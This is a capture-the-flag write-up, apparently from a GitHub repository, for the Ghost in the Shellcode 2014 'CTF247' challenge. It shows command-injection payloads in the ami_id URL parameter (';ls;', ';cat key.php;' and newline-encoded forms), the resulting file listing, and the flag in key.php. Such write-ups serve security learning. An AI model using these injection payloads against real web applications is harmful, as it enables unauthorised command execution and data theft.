Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

Ghost in the Shellcode 2014: CTF247

Category: Recon Points: 100 Description:

CTF247 is awesome http://ctf247.2014.ghostintheshellcode.com/

Write-up

The ami_id parameter on the ‘Fortress’ page is vulnerable to command injection.

The response bodies for /ec2.php?ami_id=;ls; or /ec2.php?ami_id=%0als%0a start with:

ec2-api-tools-1.6.12.0
ec2.php
index.html
index_files
key.php

Aha! There’s a file named key.php. Let’s see what it says by visiting /ec2.php?ami_id=;cat%20key.php; or /ec2.php?ami_id=%0acat%20key.php%0a:

<?php
  /* flag{0aea26e968895efa40b563e3e8fe8f19} */
  echo('There\'s a key here.');
?>

Other write-ups and resources